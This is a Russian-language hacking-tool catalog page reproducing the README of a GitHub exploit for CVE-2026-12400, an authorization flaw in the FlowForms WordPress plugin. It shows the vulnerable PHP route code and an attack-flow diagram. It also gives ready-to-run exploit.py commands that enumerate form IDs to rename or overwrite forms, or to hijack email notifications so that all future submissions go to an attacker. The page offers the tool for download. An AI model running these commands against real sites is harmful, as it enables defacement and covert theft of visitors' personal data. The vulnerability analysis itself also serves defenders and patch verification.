Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и Образование
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

# Эксплойт IDOR для аутентифицированного WordPress при CVE-2026-12400; перечисляет ID форм REST FlowForms и изменяет содержимое форм или перехватывает email-уведомления.

Репозиторий
1333 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-12400 — FlowForms IDOR: Несанкционированное изменение форм

Аутентифицированная (Contributor+) небезопасная прямая ссылка на объект (IDOR) для произвольного изменения форм в FlowForms ≤ 1.1.1

Обзор уязвимости

СвойствоЗначение
CVE IDCVE-2026-12400
Оценка CVSS4.3 — Средняя
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Обход авторизации через управляемый пользователем ключ)
ПродуктFlowForms — Плагин диалогового конструктора форм для WordPress
Затронутые версииВсе версии до 1.1.1 включительно
Исправлено вИсправлено в версии 1.1.2
ИсследовательPhantom Hat

Технический анализ

Полное исследование с анализом исходного кода, трассировкой входных данных и сравнением патчей:

📄 Анализ случая CVE-2026-12400 — Medium

Поверхность атаки

FlowForms предоставляет две конечные точки REST API в пространстве имён flowforms/v1, которые уязвимы:

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Обе принимают управляемый пользователем {id} в пути URL и изменяют данные целевой формы: имя, содержимое, макет, URL перенаправления и получателей email-уведомлений.

Первопричина

Обе уязвимые регистрации маршрутов используют одинаковый ошибочный permission_callback:

// Обновление содержимого / имени формы
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Обновление настроек формы (email-уведомления, макет и т.д.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts — это возможность, которой обладают участники (Contributors). Параметр {id} никогда не проверяется на принадлежность запрашивающему пользователю — любой аутентифицированный пользователь может воздействовать на любой ID формы на сайте.

Поток атаки

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Аутентификация как Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Получение REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Перебор опубликованных форм
        │<─ HTTP 200 ───────────────────────│      (любая доступная форма — цель)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Перезапись имени / содержимого формы
        │       with attacker payload ─────>│       ← нет проверки владельца
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Перехват email-уведомлений
        │       /settings ─────────────────>│       ← атакующий получает все
        │<─ { "success": true } ────────────│         будущие отправки форм
        │                                   │
        │   Все 3 вектора атаки подтверждены│  (5) Имя ✔  Содержимое ✔  Email ✔

Три вектора атаки

РежимКонечная точкаВоздействие
name/forms/{id}Переименование любой формы — порча, социальная инженерия
content/forms/{id}Перезапись макета, экранов приветствия/благодарности, URL перенаправления
email/forms/{id}/settingsПерехват email-уведомлений — скрытое получение всех отправленных форм

Режим email наиболее критичен. После перехвата каждое отправление в контактную форму жертвы — включая персональные данные посетителей, сообщения и контактную информацию — бесшумно пересылается на адрес, контролируемый атакующим. Администратор сайта не видит никаких признаков изменения.


Использование эксплойта

Необходимые условия

  • Python 3.8+
  • Аутентифицированная учётная запись с ролью не ниже Contributor на целевом сайте

Установка

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Режимы работы

Изменение имени

Переименование любой формы в содержимое, контролируемое атакующим:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Изменение содержимого

Перезапись макета формы, экранов, URL перенаправления и фоновых изображений:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Перехват email-уведомлений (Наибольшее воздействие)

Перенаправление всех уведомлений о будущих отправках форм на адрес, контролируемый атакующим:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

С прокси (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Полная справка по флагам

ФлагСокращениеОписаниеОбязательный
--url-uЦелевой URL WordPress✅
--userИмя пользователя WordPress (Contributor+)✅
--passwordПароль WordPress✅
--id-start-iНачальный ID формы для перебора✅
--num-forms-nКоличество ID форм для перебора✅
--exploitРежим атаки: name / content / email✅
--proxy-pURL прокси (например, http://127.0.0.1:8080)❌

Настройка полезных нагрузок

Скачать инструмент